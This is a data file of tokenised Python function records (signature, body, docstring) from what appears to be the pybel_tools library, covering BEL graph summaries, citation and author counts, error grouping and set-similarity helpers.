{"signature": "def rank_subgraph_by_node_filter(graph: BELGraph,<EOL>node_predicates: Union[NodePredicate, Iterable[NodePredicate]],<EOL>annotation: str = '<STR_LIT>',<EOL>reverse: bool = True,<EOL>) -> List[Tuple[str, int]]:", "body": "r1 = group_nodes_by_annotation_filtered(graph, node_predicates=node_predicates, annotation=annotation)<EOL>r2 = count_dict_values(r1)<EOL>return sorted(r2.items(), key=itemgetter(<NUM_LIT:1>), reverse=reverse)<EOL>", "docstring": "Rank sub-graphs by which have the most nodes matching an given filter.\n\n    A use case for this function would be to identify which subgraphs contain the most differentially expressed\n    genes.\n\n    >>> from pybel import from_pickle\n    >>> from pybel.constants import GENE\n    >>> from pybel_tools.integration import overlay_type_data\n    >>> from pybel_tools.summary import rank_subgraph_by_node_filter\n    >>> import pandas as pd\n    >>> graph = from_pickle('~/dev/bms/aetionomy/alzheimers.gpickle')\n    >>> df = pd.read_csv('~/dev/bananas/data/alzheimers_dgxp.csv', columns=['Gene', 'log2fc'])\n    >>> data = {gene: log2fc for _, gene, log2fc in df.itertuples()}\n    >>> overlay_type_data(graph, data, 'log2fc', GENE, 'HGNC', impute=0.0)\n    >>> results = rank_subgraph_by_node_filter(graph, lambda g, n: 1.3 < abs(g[n]['log2fc']))", "id": "f9399:m4"}
{"signature": "def get_namespaces_with_incorrect_names(graph: BELGraph) -> Set[str]:", "body": "return {<EOL>exc.namespace<EOL>for _, exc, _ in graph.warnings<EOL>if isinstance(exc, (MissingNamespaceNameWarning, MissingNamespaceRegexWarning))<EOL>}<EOL>", "docstring": "Return the set of all namespaces with incorrect names in the graph.", "id": "f9400:m0"}
{"signature": "def get_undefined_namespaces(graph: BELGraph) -> Set[str]:", "body": "return {<EOL>exc.namespace<EOL>for _, exc, _ in graph.warnings<EOL>if isinstance(exc, UndefinedNamespaceWarning)<EOL>}<EOL>", "docstring": "Get all namespaces that are used in the BEL graph aren't actually defined.", "id": "f9400:m1"}
{"signature": "def get_incorrect_names_by_namespace(graph: BELGraph, namespace: str) -> Set[str]:", "body": "return {<EOL>exc.name<EOL>for _, exc, _ in graph.warnings<EOL>if isinstance(exc, (MissingNamespaceNameWarning, MissingNamespaceRegexWarning)) and exc.namespace == namespace<EOL>}<EOL>", "docstring": "Return the set of all incorrect names from the given namespace in the graph.\n\n    :return: The set of all incorrect names from the given namespace in the graph", "id": "f9400:m2"}
{"signature": "def get_undefined_namespace_names(graph: BELGraph, namespace: str) -> Set[str]:", "body": "return {<EOL>exc.name<EOL>for _, exc, _ in graph.warnings<EOL>if isinstance(exc, UndefinedNamespaceWarning) and exc.namespace == namespace<EOL>}<EOL>", "docstring": "Get the names from a namespace that wasn't actually defined.\n\n    :return: The set of all names from the undefined namespace", "id": "f9400:m3"}
{"signature": "def get_incorrect_names(graph: BELGraph) -> Mapping[str, Set[str]]:", "body": "return {<EOL>namespace: get_incorrect_names_by_namespace(graph, namespace)<EOL>for namespace in get_namespaces(graph)<EOL>}<EOL>", "docstring": "Return the dict of the sets of all incorrect names from the given namespace in the graph.\n\n    :return: The set of all incorrect names from the given namespace in the graph", "id": "f9400:m4"}
{"signature": "def get_undefined_annotations(graph: BELGraph) -> Set[str]:", "body": "return {<EOL>exc.annotation<EOL>for _, exc, _ in graph.warnings<EOL>if isinstance(exc, UndefinedAnnotationWarning)<EOL>}<EOL>", "docstring": "Get all annotations that aren't actually defined.\n\n    :return: The set of all undefined annotations", "id": "f9400:m5"}
{"signature": "def calculate_incorrect_name_dict(graph: BELGraph) -> Mapping[str, str]:", "body": "missing = defaultdict(list)<EOL>for _, e, ctx in graph.warnings:<EOL><INDENT>if not isinstance(e, (MissingNamespaceNameWarning, MissingNamespaceRegexWarning)):<EOL><INDENT>continue<EOL><DEDENT>missing[e.namespace].append(e.name)<EOL><DEDENT>return dict(missing)<EOL>", "docstring": "Group all of the incorrect identifiers in a dict of {namespace: list of erroneous names}.\n\n    :return: A dictionary of {namespace: list of erroneous names}", "id": "f9400:m6"}
{"signature": "def calculate_error_by_annotation(graph: BELGraph, annotation: str) -> Mapping[str, List[str]]:", "body": "results = defaultdict(list)<EOL>for _, exc, ctx in graph.warnings:<EOL><INDENT>if not ctx or not edge_has_annotation(ctx, annotation):<EOL><INDENT>continue<EOL><DEDENT>values = ctx[ANNOTATIONS][annotation]<EOL>if isinstance(values, str):<EOL><INDENT>results[values].append(exc.__class__.__name__)<EOL><DEDENT>elif isinstance(values, Iterable):<EOL><INDENT>for value in values:<EOL><INDENT>results[value].append(exc.__class__.__name__)<EOL><DEDENT><DEDENT><DEDENT>return dict(results)<EOL>", "docstring": "Group the graph by a given annotation and builds lists of errors for each.\n\n    :return: A dictionary of {annotation value: list of errors}", "id": "f9400:m7"}
{"signature": "def group_errors(graph: BELGraph) -> Mapping[str, List[int]]:", "body": "warning_summary = defaultdict(list)<EOL>for _, exc, _ in graph.warnings:<EOL><INDENT>warning_summary[str(exc)].append(exc.line_number)<EOL><DEDENT>return dict(warning_summary)<EOL>", "docstring": "Group the errors together for analysis of the most frequent error.\n\n    :return: A dictionary of {error string: list of line numbers}", "id": "f9400:m8"}
{"signature": "def get_most_common_errors(graph: BELGraph, n: Optional[int] = <NUM_LIT:20>):", "body": "return count_dict_values(group_errors(graph)).most_common(n)<EOL>", "docstring": "Get the (n) most common errors in a graph.", "id": "f9400:m9"}
{"signature": "def get_names_including_errors_by_namespace(graph: BELGraph, namespace: str) -> Set[str]:", "body": "return get_names_by_namespace(graph, namespace) | get_incorrect_names_by_namespace(graph, namespace)<EOL>", "docstring": "Takes the names from the graph in a given namespace (:func:`pybel.struct.summary.get_names_by_namespace`) and\n    the erroneous names from the same namespace (:func:`get_incorrect_names_by_namespace`) and returns them together\n    as a unioned set\n\n    :return: The set of all correct and incorrect names from the given namespace in the graph", "id": "f9400:m10"}
{"signature": "def get_names_including_errors(graph: BELGraph) -> Mapping[str, Set[str]]:", "body": "return {<EOL>namespace: get_names_including_errors_by_namespace(graph, namespace)<EOL>for namespace in get_namespaces(graph)<EOL>}<EOL>", "docstring": "Takes the names from the graph in a given namespace and the erroneous names from the same namespace and returns\n    them together as a unioned set\n\n    :return: The dict of the sets of all correct and incorrect names from the given namespace in the graph", "id": "f9400:m11"}
{"signature": "def get_causal_out_edges(<EOL>graph: BELGraph,<EOL>nbunch: Union[BaseEntity, Iterable[BaseEntity]],<EOL>) -> Set[Tuple[BaseEntity, BaseEntity]]:", "body": "return {<EOL>(u, v)<EOL>for u, v, k, d in graph.out_edges(nbunch, keys=True, data=True)<EOL>if is_causal_relation(graph, u, v, k, d)<EOL>}<EOL>", "docstring": "Get the out-edges to the given node that are causal.\n\n    :return: A set of (source, target) pairs where the source is the given node", "id": "f9402:m0"}
{"signature": "def get_causal_in_edges(<EOL>graph: BELGraph,<EOL>nbunch: Union[BaseEntity, Iterable[BaseEntity]],<EOL>) -> Set[Tuple[BaseEntity, BaseEntity]]:", "body": "return {<EOL>(u, v)<EOL>for u, v, k, d in graph.in_edges(nbunch, keys=True, data=True)<EOL>if is_causal_relation(graph, u, v, k, d)<EOL>}<EOL>", "docstring": "Get the in-edges to the given node that are causal.\n\n    :return: A set of (source, target) pairs where the target is the given node", "id": "f9402:m1"}
{"signature": "def get_causal_source_nodes(graph: BELGraph, func: str) -> Set[BaseEntity]:", "body": "return {<EOL>node<EOL>for node in graph<EOL>if node.function == func and is_causal_source(graph, node)<EOL>}<EOL>", "docstring": "Return a set of all nodes that have an in-degree of 0.\n\n    This likely means that it is an external perturbagen and is not known to have any causal origin from within the\n    biological system. These nodes are useful to identify because they generally don't provide any mechanistic insight.", "id": "f9402:m2"}
{"signature": "def get_causal_central_nodes(graph: BELGraph, func: str) -> Set[BaseEntity]:", "body": "return {<EOL>node<EOL>for node in graph<EOL>if node.function == func and is_causal_central(graph, node)<EOL>}<EOL>", "docstring": "Return a set of all nodes that have both an in-degree > 0 and out-degree > 0.\n\n    This means that they are an integral part of a pathway, since they are both produced and consumed.", "id": "f9402:m3"}
{"signature": "def get_causal_sink_nodes(graph: BELGraph, func) -> Set[BaseEntity]:", "body": "return {<EOL>node<EOL>for node in graph<EOL>if node.function == func and is_causal_sink(graph, node)<EOL>}<EOL>", "docstring": "Returns a set of all ABUNDANCE nodes that have an causal out-degree of 0.\n\n    This likely means that the knowledge assembly is incomplete, or there is a curation error.", "id": "f9402:m4"}
{"signature": "def get_degradations(graph: BELGraph) -> Set[BaseEntity]:", "body": "return get_nodes(graph, is_degraded)<EOL>", "docstring": "Get all nodes that are degraded.", "id": "f9402:m5"}
{"signature": "def get_activities(graph: BELGraph) -> Set[BaseEntity]:", "body": "return get_nodes(graph, has_activity)<EOL>", "docstring": "Get all nodes that have molecular activities.", "id": "f9402:m6"}
{"signature": "def get_translocated(graph: BELGraph) -> Set[BaseEntity]:", "body": "return get_nodes(graph, is_translocated)<EOL>", "docstring": "Get all nodes that are translocated.", "id": "f9402:m7"}
{"signature": "def count_top_centrality(graph: BELGraph, number: Optional[int] = <NUM_LIT:30>) -> Mapping[BaseEntity, int]:", "body": "dd = nx.betweenness_centrality(graph)<EOL>dc = Counter(dd)<EOL>return dict(dc.most_common(number))<EOL>", "docstring": "Get top centrality dictionary.", "id": "f9402:m9"}
{"signature": "def get_modifications_count(graph: BELGraph) -> Mapping[str, int]:", "body": "return remove_falsy_values({<EOL>'<STR_LIT>': len(get_translocated(graph)),<EOL>'<STR_LIT>': len(get_degradations(graph)),<EOL>'<STR_LIT>': len(get_activities(graph)),<EOL>})<EOL>", "docstring": "Get a modifications count dictionary.", "id": "f9402:m10"}
{"signature": "def remove_falsy_values(counter: Mapping[Any, int]) -> Mapping[Any, int]:", "body": "return {<EOL>label: count<EOL>for label, count in counter.items()<EOL>if count<EOL>}<EOL>", "docstring": "Remove all values that are zero.", "id": "f9402:m11"}
{"signature": "def _generate_citation_dict(graph: BELGraph) -> Mapping[str, Mapping[Tuple[BaseEntity, BaseEntity], str]]:", "body": "results = defaultdict(lambda: defaultdict(set))<EOL>for u, v, data in graph.edges(data=True):<EOL><INDENT>if CITATION not in data:<EOL><INDENT>continue<EOL><DEDENT>results[data[CITATION][CITATION_TYPE]][u, v].add(data[CITATION][CITATION_REFERENCE].strip())<EOL><DEDENT>return dict(results)<EOL>", "docstring": "Prepare a citation data dictionary from a graph.\n\n    :return: A dictionary of dictionaries {citation type: {(source, target): citation reference}", "id": "f9403:m0"}
{"signature": "def get_pmid_by_keyword(keyword: str,<EOL>graph: Optional[BELGraph] = None,<EOL>pubmed_identifiers: Optional[Set[str]] = None,<EOL>) -> Set[str]:", "body": "if pubmed_identifiers is not None:<EOL><INDENT>return {<EOL>pubmed_identifier<EOL>for pubmed_identifier in pubmed_identifiers<EOL>if pubmed_identifier.startswith(keyword)<EOL>}<EOL><DEDENT>if graph is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return {<EOL>pubmed_identifier<EOL>for pubmed_identifier in iterate_pubmed_identifiers(graph)<EOL>if pubmed_identifier.startswith(keyword)<EOL>}<EOL>", "docstring": "Get the set of PubMed identifiers beginning with the given keyword string.\n\n    :param keyword: The beginning of a PubMed identifier\n    :param graph: A BEL graph\n    :param pubmed_identifiers: A set of pre-cached PubMed identifiers\n    :return: A set of PubMed identifiers starting with the given string", "id": "f9403:m1"}
{"signature": "def count_pmids(graph: BELGraph) -> Counter:", "body": "return Counter(iterate_pubmed_identifiers(graph))<EOL>", "docstring": "Count the frequency of PubMed documents in a graph.\n\n    :return: A Counter from {(pmid, name): frequency}", "id": "f9403:m2"}
{"signature": "def count_citations(graph: BELGraph, **annotations) -> Counter:", "body": "citations = defaultdict(set)<EOL>annotation_dict_filter = build_edge_data_filter(annotations)<EOL>for u, v, _, d in filter_edges(graph, annotation_dict_filter):<EOL><INDENT>if CITATION not in d:<EOL><INDENT>continue<EOL><DEDENT>citations[u, v].add((d[CITATION][CITATION_TYPE], d[CITATION][CITATION_REFERENCE].strip()))<EOL><DEDENT>return Counter(itt.chain.from_iterable(citations.values()))<EOL>", "docstring": "Counts the citations in a graph based on a given filter\n\n    :param graph: A BEL graph\n    :param dict annotations: The annotation filters to use\n    :return: A counter from {(citation type, citation reference): frequency}", "id": "f9403:m3"}
{"signature": "def count_citations_by_annotation(graph: BELGraph, annotation: str) -> Mapping[str, typing.Counter[str]]:", "body": "citations = defaultdict(lambda: defaultdict(set))<EOL>for u, v, data in graph.edges(data=True):<EOL><INDENT>if not edge_has_annotation(data, annotation) or CITATION not in data:<EOL><INDENT>continue<EOL><DEDENT>k = data[ANNOTATIONS][annotation]<EOL>citations[k][u, v].add((data[CITATION][CITATION_TYPE], data[CITATION][CITATION_REFERENCE].strip()))<EOL><DEDENT>return {k: Counter(itt.chain.from_iterable(v.values())) for k, v in citations.items()}<EOL>", "docstring": "Group the citation counters by subgraphs induced by the annotation.\n\n    :param graph: A BEL graph\n    :param annotation: The annotation to use to group the graph\n    :return: A dictionary of Counters {subgraph name: Counter from {citation: frequency}}", "id": "f9403:m4"}
{"signature": "def count_authors(graph: BELGraph) -> typing.Counter[str]:", "body": "return Counter(graph._iterate_authors())<EOL>", "docstring": "Count the number of edges in which each author appears.", "id": "f9403:m5"}
{"signature": "def count_author_publications(graph: BELGraph) -> typing.Counter[str]:", "body": "authors = group_as_dict(_iter_author_publiations(graph))<EOL>return Counter(count_dict_values(count_defaultdict(authors)))<EOL>", "docstring": "Count the number of publications of each author to the given graph.", "id": "f9403:m6"}
{"signature": "def get_authors(graph: BELGraph) -> Set[str]:", "body": "return set(graph._iterate_authors())<EOL>", "docstring": "Get the set of all authors in the given graph.", "id": "f9403:m8"}
{"signature": "def get_authors_by_keyword(keyword: str, graph=None, authors=None) -> Set[str]:", "body": "keyword_lower = keyword.lower()<EOL>if authors is not None:<EOL><INDENT>return {<EOL>author<EOL>for author in authors<EOL>if keyword_lower in author.lower()<EOL>}<EOL><DEDENT>if graph is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return {<EOL>author<EOL>for author in get_authors(graph)<EOL>if keyword_lower in author.lower()<EOL>}<EOL>", "docstring": "Get authors for whom the search term is a substring.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param keyword: The keyword to search the author strings for\n    :param set[str] authors: An optional set of pre-cached authors calculated from the graph\n    :return: A set of authors with the keyword as a substring", "id": "f9403:m9"}
{"signature": "def count_authors_by_annotation(graph: BELGraph, annotation: str = '<STR_LIT>') -> Mapping[str, typing.Counter[str]]:", "body": "authors = group_as_dict(_iter_authors_by_annotation(graph, annotation=annotation))<EOL>return count_defaultdict(authors)<EOL>", "docstring": "Group the author counters by sub-graphs induced by the annotation.\n\n    :param graph: A BEL graph\n    :param annotation: The annotation to use to group the graph\n    :return: A dictionary of Counters {subgraph name: Counter from {author: frequency}}", "id": "f9403:m10"}
{"signature": "def get_evidences_by_pmid(graph: BELGraph, pmids: Union[str, Iterable[str]]):", "body": "result = defaultdict(set)<EOL>for _, _, _, data in filter_edges(graph, build_pmid_inclusion_filter(pmids)):<EOL><INDENT>result[data[CITATION][CITATION_REFERENCE]].add(data[EVIDENCE])<EOL><DEDENT>return dict(result)<EOL>", "docstring": "Get a dictionary from the given PubMed identifiers to the sets of all evidence strings associated with each\n    in the graph.\n\n    :param graph: A BEL graph\n    :param pmids: An iterable of PubMed identifiers, as strings. Is consumed and converted to a set.\n    :return: A dictionary of {pmid: set of all evidence strings}\n    :rtype: dict", "id": "f9403:m12"}
{"signature": "def count_citation_years(graph: BELGraph) -> typing.Counter[int]:", "body": "result = defaultdict(set)<EOL>for _, _, data in graph.edges(data=True):<EOL><INDENT>if CITATION not in data or CITATION_DATE not in data[CITATION]:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>dt = _ensure_datetime(data[CITATION][CITATION_DATE])<EOL>result[dt.year].add((data[CITATION][CITATION_TYPE], data[CITATION][CITATION_REFERENCE]))<EOL><DEDENT>except Exception:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>return count_dict_values(result)<EOL>", "docstring": "Count the number of citations from each year.", "id": "f9403:m13"}
{"signature": "def get_citation_years(graph: BELGraph) -> List[Tuple[int, int]]:", "body": "return create_timeline(count_citation_years(graph))<EOL>", "docstring": "Create a citation timeline counter from the graph.", "id": "f9403:m15"}
{"signature": "def create_timeline(year_counter: typing.Counter[int]) -> List[Tuple[int, int]]:", "body": "if not year_counter:<EOL><INDENT>return []<EOL><DEDENT>from_year = min(year_counter) - <NUM_LIT:1><EOL>until_year = datetime.now().year + <NUM_LIT:1><EOL>return [<EOL>(year, year_counter.get(year, <NUM_LIT:0>))<EOL>for year in range(from_year, until_year)<EOL>]<EOL>", "docstring": "Complete the Counter timeline.\n\n    :param Counter year_counter: counter dict for each year\n    :return: complete timeline", "id": "f9403:m16"}
{"signature": "def count_confidences(graph: BELGraph) -> typing.Counter[str]:", "body": "return Counter(<EOL>(<EOL>'<STR_LIT:None>'<EOL>if ANNOTATIONS not in data or '<STR_LIT>' not in data[ANNOTATIONS] else<EOL>list(data[ANNOTATIONS]['<STR_LIT>'])[<NUM_LIT:0>]<EOL>)<EOL>for _, _, data in graph.edges(data=True)<EOL>if CITATION in data  <EOL>)<EOL>", "docstring": "Count the confidences in the graph.", "id": "f9403:m17"}
{"signature": "def pairwise(iterable: Iterable[X]) -> Iterable[Tuple[X, X]]:", "body": "a, b = itt.tee(iterable)<EOL>next(b, None)<EOL>return zip(a, b)<EOL>", "docstring": "Iterate over pairs in list s -> (s0,s1), (s1,s2), (s2, s3), ...", "id": "f9404:m0"}
{"signature": "def count_defaultdict(dict_of_lists: Mapping[X, List[Y]]) -> Mapping[X, typing.Counter[Y]]:", "body": "return {<EOL>k: Counter(v)<EOL>for k, v in dict_of_lists.items()<EOL>}<EOL>", "docstring": "Count the number of elements in each value of the dictionary.", "id": "f9404:m2"}
{"signature": "def count_dict_values(dict_of_counters: Mapping[X, Sized]) -> typing.Counter[X]:", "body": "return Counter({<EOL>k: len(v)<EOL>for k, v in dict_of_counters.items()<EOL>})<EOL>", "docstring": "Count the number of elements in each value (can be list, Counter, etc).\n\n    :param dict_of_counters: A dictionary of things whose lengths can be measured (lists, Counters, dicts)\n    :return: A Counter with the same keys as the input but the count of the length of the values list/tuple/set/Counter", "id": "f9404:m3"}
{"signature": "def set_percentage(x: Iterable[X], y: Iterable[X]) -> float:", "body": "a, b = set(x), set(y)<EOL>if not a:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return len(a & b) / len(a)<EOL>", "docstring": "What percentage of x is contained within y?\n\n    :param set x: A set\n    :param set y: Another set\n    :return: The percentage of x contained within y", "id": "f9404:m4"}
{"signature": "def tanimoto_set_similarity(x: Iterable[X], y: Iterable[X]) -> float:", "body": "a, b = set(x), set(y)<EOL>union = a | b<EOL>if not union:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return len(a & b) / len(union)<EOL>", "docstring": "Calculate the tanimoto set similarity.", "id": "f9404:m5"}
{"signature": "def min_tanimoto_set_similarity(x: Iterable[X], y: Iterable[X]) -> float:", "body": "a, b = set(x), set(y)<EOL>if not a or not b:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return len(a & b) / min(len(a), len(b))<EOL>", "docstring": "Calculate the tanimoto set similarity using the minimum size.\n\n    :param set x: A set\n    :param set y: Another set\n    :return: The similarity between", "id": "f9404:m6"}
{"signature": "def calculate_single_tanimoto_set_distances(target: Iterable[X], dict_of_sets: Mapping[Y, Set[X]]) -> Mapping[Y, float]:", "body": "target_set = set(target)<EOL>return {<EOL>k: tanimoto_set_similarity(target_set, s)<EOL>for k, s in dict_of_sets.items()<EOL>}<EOL>", "docstring": "Return a dictionary of distances keyed by the keys in the given dict.\n\n    Distances are calculated based on pairwise tanimoto similarity of the sets contained\n\n    :param set target: A set\n    :param dict_of_sets: A dict of {x: set of y}\n    :type dict_of_sets: dict\n    :return: A similarity dicationary based on the set overlap (tanimoto) score between the target set and the sets in\n            dos\n    :rtype: dict", "id": "f9404:m7"}
{"signature": "def calculate_tanimoto_set_distances(dict_of_sets: Mapping[X, Set]) -> Mapping[X, Mapping[X, float]]:", "body": "result: Dict[X, Dict[X, float]] = defaultdict(dict)<EOL>for x, y in itt.combinations(dict_of_sets, <NUM_LIT:2>):<EOL><INDENT>result[x][y] = result[y][x] = tanimoto_set_similarity(dict_of_sets[x], dict_of_sets[y])<EOL><DEDENT>for x in dict_of_sets:<EOL><INDENT>result[x][x] = <NUM_LIT:1.0><EOL><DEDENT>return dict(result)<EOL>", "docstring": "Return a distance matrix keyed by the keys in the given dict.\n\n    Distances are calculated based on pairwise tanimoto similarity of the sets contained.\n\n    :param dict_of_sets: A dict of {x: set of y}\n    :return: A similarity matrix based on the set overlap (tanimoto) score between each x as a dict of dicts", "id": "f9404:m8"}
{"signature": "def calculate_global_tanimoto_set_distances(dict_of_sets: Mapping[X, Set]) -> Mapping[X, Mapping[X, float]]:", "body": "universe = set(itt.chain.from_iterable(dict_of_sets.values()))<EOL>universe_size = len(universe)<EOL>result: Dict[X, Dict[X, float]] = defaultdict(dict)<EOL>for x, y in itt.combinations(dict_of_sets, <NUM_LIT:2>):<EOL><INDENT>result[x][y] = result[y][x] = <NUM_LIT:1.0> - len(dict_of_sets[x] | dict_of_sets[y]) / universe_size<EOL><DEDENT>for x in dict_of_sets:<EOL><INDENT>result[x][x] = <NUM_LIT:1.0> - len(x) / universe_size<EOL><DEDENT>return dict(result)<EOL>", "docstring": "r\"\"\"Calculate an alternative distance matrix based on the following equation.\n\n    .. math:: distance(A, B)=1- \\|A \\cup B\\| / \\| \\cup_{s \\in S} s\\|\n\n    :param dict_of_sets: A dict of {x: set of y}\n    :return: A similarity matrix based on the alternative tanimoto distance as a dict of dicts", "id": "f9404:m9"}
{"signature": "def barh(d, plt, title=None):", "body": "labels = sorted(d, key=d.get)<EOL>index = range(len(labels))<EOL>plt.yticks(index, labels)<EOL>plt.barh(index, [d[v] for v in labels])<EOL>if title is not None:<EOL><INDENT>plt.title(title)<EOL><DEDENT>", "docstring": "A convenience function for plotting a horizontal bar plot from a Counter", "id": "f9404:m10"}
{"signature": "def barv(d, plt, title=None, rotation='<STR_LIT>'):", "body": "labels = sorted(d, key=d.get, reverse=True)<EOL>index = range(len(labels))<EOL>plt.xticks(index, labels, rotation=rotation)<EOL>plt.bar(index, [d[v] for v in labels])<EOL>if title is not None:<EOL><INDENT>plt.title(title)<EOL><DEDENT>", "docstring": "A convenience function for plotting a vertical bar plot from a Counter", "id": "f9404:m11"}
{"signature": "def safe_add_edge(graph, u, v, key, attr_dict, **attr):", "body": "if key < <NUM_LIT:0>:<EOL><INDENT>graph.add_edge(u, v, key=key, attr_dict=attr_dict, **attr)<EOL><DEDENT>else:<EOL><INDENT>graph.add_edge(u, v, attr_dict=attr_dict, **attr)<EOL><DEDENT>", "docstring": "Adds an edge while preserving negative keys, and paying no respect to positive ones\n\n    :param pybel.BELGraph graph: A BEL Graph\n    :param tuple u: The source BEL node\n    :param tuple v: The target BEL node\n    :param int key: The edge key. If less than zero, corresponds to an unqualified edge, else is disregarded\n    :param dict attr_dict: The edge data dictionary\n    :param dict attr: Edge data to assign via keyword arguments", "id": "f9404:m12"}
{"signature": "def prepare_c3(data: Union[List[Tuple[str, int]], Mapping[str, int]],<EOL>y_axis_label: str = '<STR_LIT:y>',<EOL>x_axis_label: str = '<STR_LIT:x>',<EOL>) -> str:", "body": "if not isinstance(data, list):<EOL><INDENT>data = sorted(data.items(), key=itemgetter(<NUM_LIT:1>), reverse=True)<EOL><DEDENT>try:<EOL><INDENT>labels, values = zip(*data)<EOL><DEDENT>except ValueError:<EOL><INDENT>log.info(f'<STR_LIT>')<EOL>labels, values = [], []<EOL><DEDENT>return json.dumps([<EOL>[x_axis_label] + list(labels),<EOL>[y_axis_label] + list(values),<EOL>])<EOL>", "docstring": "Prepares C3 JSON for making a bar chart from a Counter\n\n    :param data: A dictionary of {str: int} to display as bar chart\n    :param y_axis_label: The Y axis label\n    :param x_axis_label: X axis internal label. Should be left as default 'x')\n    :return: A JSON dictionary for making a C3 bar chart", "id": "f9404:m13"}
{"signature": "def prepare_c3_time_series(data: List[Tuple[int, int]], y_axis_label: str = '<STR_LIT:y>', x_axis_label: str = '<STR_LIT:x>') -> str:", "body": "years, counter = zip(*data)<EOL>years = [<EOL>datetime.date(year, <NUM_LIT:1>, <NUM_LIT:1>).isoformat()<EOL>for year in years<EOL>]<EOL>return json.dumps([<EOL>[x_axis_label] + list(years),<EOL>[y_axis_label] + list(counter)<EOL>])<EOL>", "docstring": "Prepare C3 JSON string dump for a time series.\n\n    :param data: A list of tuples [(year, count)]\n    :param y_axis_label: The Y axis label\n    :param x_axis_label: X axis internal label. Should be left as default 'x')", "id": "f9404:m14"}
{"signature": "def calculate_betweenness_centality(graph: BELGraph, number_samples: int = CENTRALITY_SAMPLES) -> Counter:", "body": "try:<EOL><INDENT>res = nx.betweenness_centrality(graph, k=number_samples)<EOL><DEDENT>except Exception:<EOL><INDENT>res = nx.betweenness_centrality(graph)<EOL><DEDENT>return Counter(res)<EOL>", "docstring": "Calculate the betweenness centrality over nodes in the graph.\n\n    Tries to do it with a certain number of samples, but then tries a complete approach if it fails.", "id": "f9404:m16"}
{"signature": "def get_circulations(elements: T) -> Iterable[T]:", "body": "for i in range(len(elements)):<EOL><INDENT>yield elements[i:] + elements[:i]<EOL><DEDENT>", "docstring": "Iterate over all possible circulations of an ordered collection (tuple or list).\n\n    Example:\n\n    >>> list(get_circulations([1, 2, 3]))\n    [[1, 2, 3], [2, 3, 1], [3, 1, 2]]", "id": "f9404:m17"}
{"signature": "def canonical_circulation(elements: T, key: Optional[Callable[[T], bool]] = None) -> T:", "body": "return min(get_circulations(elements), key=key)<EOL>", "docstring": "Get get a canonical representation of the ordered collection by finding its minimum circulation with the\n    given sort key", "id": "f9404:m18"}
{"signature": "def get_version() -> str:", "body": "return VERSION<EOL>", "docstring": "Get the current PyBEL Tools version.", "id": "f9404:m19"}
{"signature": "def self_edge_filter(_: BELGraph, source: BaseEntity, target: BaseEntity, __: str) -> bool:", "body": "return source == target<EOL>", "docstring": "Check if the source and target nodes are the same.", "id": "f9405:m0"}
{"signature": "def has_protein_modification_increases_activity(graph: BELGraph,<EOL>source: BaseEntity,<EOL>target: BaseEntity,<EOL>key: str,<EOL>) -> bool:", "body": "edge_data = graph[source][target][key]<EOL>return has_protein_modification(graph, source) and part_has_modifier(edge_data, OBJECT, ACTIVITY)<EOL>", "docstring": "Check if pmod of source causes activity of target.", "id": "f9405:m1"}
{"signature": "@edge_predicate<EOL>def has_degradation_increases_activity(data: Dict) -> bool:", "body": "return part_has_modifier(data, SUBJECT, DEGRADATION) and part_has_modifier(data, OBJECT, ACTIVITY)<EOL>", "docstring": "Check if the degradation of source causes activity of target.", "id": "f9405:m2"}
{"signature": "@edge_predicate<EOL>def has_translocation_increases_activity(data: Dict) -> bool:", "body": "return part_has_modifier(data, SUBJECT, TRANSLOCATION) and part_has_modifier(data, OBJECT, ACTIVITY)<EOL>", "docstring": "Check if the translocation of source causes activity of target.", "id": "f9405:m3"}
{"signature": "def complex_has_member(graph: BELGraph, complex_node: ComplexAbundance, member_node: BaseEntity) -> bool:", "body": "return any(  <EOL>v == member_node<EOL>for _, v, data in graph.out_edges(complex_node, data=True)<EOL>if data[RELATION] == HAS_COMPONENT<EOL>)<EOL>", "docstring": "Does the given complex contain the member?", "id": "f9405:m4"}
{"signature": "def complex_increases_activity(graph: BELGraph, u: BaseEntity, v: BaseEntity, key: str) -> bool:", "body": "return (<EOL>isinstance(u, (ComplexAbundance, NamedComplexAbundance)) and<EOL>complex_has_member(graph, u, v) and<EOL>part_has_modifier(graph[u][v][key], OBJECT, ACTIVITY)<EOL>)<EOL>", "docstring": "Return if the formation of a complex with u increases the activity of v.", "id": "f9405:m5"}
{"signature": "def find_activations(graph: BELGraph):", "body": "for u, v, key, data in graph.edges(keys=True, data=True):<EOL><INDENT>if u != v:<EOL><INDENT>continue<EOL><DEDENT>bel = graph.edge_to_bel(u, v, data)<EOL>line = data.get(LINE)<EOL>if line is None:<EOL><INDENT>continue  <EOL><DEDENT>elif has_protein_modification_increases_activity(graph, u, v, key):<EOL><INDENT>print(line, '<STR_LIT>', bel)<EOL>find_related(graph, v, data)<EOL><DEDENT>elif has_degradation_increases_activity(data):<EOL><INDENT>print(line, '<STR_LIT>', bel)<EOL>find_related(graph, v, data)<EOL><DEDENT>elif has_translocation_increases_activity(data):<EOL><INDENT>print(line, '<STR_LIT>', bel)<EOL>find_related(graph, v, data)<EOL><DEDENT>elif complex_increases_activity(graph, u, v, key):<EOL><INDENT>print(line, '<STR_LIT>', bel)<EOL>find_related(graph, v, data)<EOL><DEDENT>elif has_same_subject_object(graph, u, v, key):<EOL><INDENT>print(line, '<STR_LIT>', bel)<EOL><DEDENT>else:<EOL><INDENT>print(line, '<STR_LIT>', bel)<EOL><DEDENT><DEDENT>", "docstring": "Find edges that are A - A, meaning that some conditions in the edge best describe the interaction.", "id": "f9405:m10"}
